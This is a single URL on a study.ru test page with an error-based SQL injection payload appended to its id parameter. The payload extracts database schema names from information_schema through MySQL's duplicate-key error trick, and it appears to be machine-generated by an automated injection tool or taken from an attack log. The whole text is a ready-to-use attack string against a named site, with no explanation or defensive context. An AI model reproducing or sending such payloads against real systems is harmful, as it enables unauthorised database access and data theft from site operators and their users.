http://www.study.ru/test/test.php?id=91' AND (SELECT 6886 FROM(SELECT COUNT(*),CONCAT(CHAR(58,108,121,98,58),(SELECT MID((IFNULL(CAST(schema_name AS CHAR),CHAR(32))),1,50) FROM information_schema.SCHEMATA LIMIT 1,1),CHAR(58,122,110,99,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'ivlg'='ivlg